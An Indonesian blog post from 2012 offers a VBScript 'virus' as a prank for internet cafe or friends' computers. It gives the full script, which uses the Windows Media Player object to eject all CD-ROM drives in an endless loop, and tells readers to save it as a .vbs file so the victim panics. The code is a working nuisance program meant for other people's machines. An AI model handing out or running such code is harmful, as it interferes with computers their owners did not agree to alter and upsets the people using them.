Pages

Wednesday, 30 May 2012

VIRUS CDROOM



Buat anda yang suka iseng diwarnet atau di computer temen nih saya ada virus yang dapat membuat teman anda panik, karena virus ini membuat cdroom keluar masuk sendiri hehehe lumayan jahil kan.
Iya langsung aja  copy  tag berikut pada notepad,

Set ilikepies = CreateObject("WMPlayer.OCX.7")
Set ilikepie = ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loop
End If

(ingat dalam menyimpan tag tersebut mengunakan “nama.vbs”)
Nah mudahkan selamat mencoba yah.. 

No comments:

Post a Comment